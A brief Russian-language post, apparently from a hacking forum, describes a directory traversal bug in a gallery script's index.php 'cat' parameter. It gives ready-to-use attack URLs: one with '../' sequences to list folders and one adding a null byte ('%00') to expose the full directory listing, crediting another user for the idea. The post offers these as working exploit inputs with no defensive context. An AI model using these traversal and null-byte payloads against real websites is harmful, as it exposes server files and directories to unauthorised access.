Баг позволяет просматривать какие папки находятся в директориях(только папки, файлы не видит, кроме рисунков)
Пример : http://example.com/gallery/index.php?cat=../../../ и т.д.

При использовании ядовитого нуля открывается листинг всей директории !

Пример : [url]http://example.com/gallery/index.php?cat=../../%00

Респект Dronga за идею!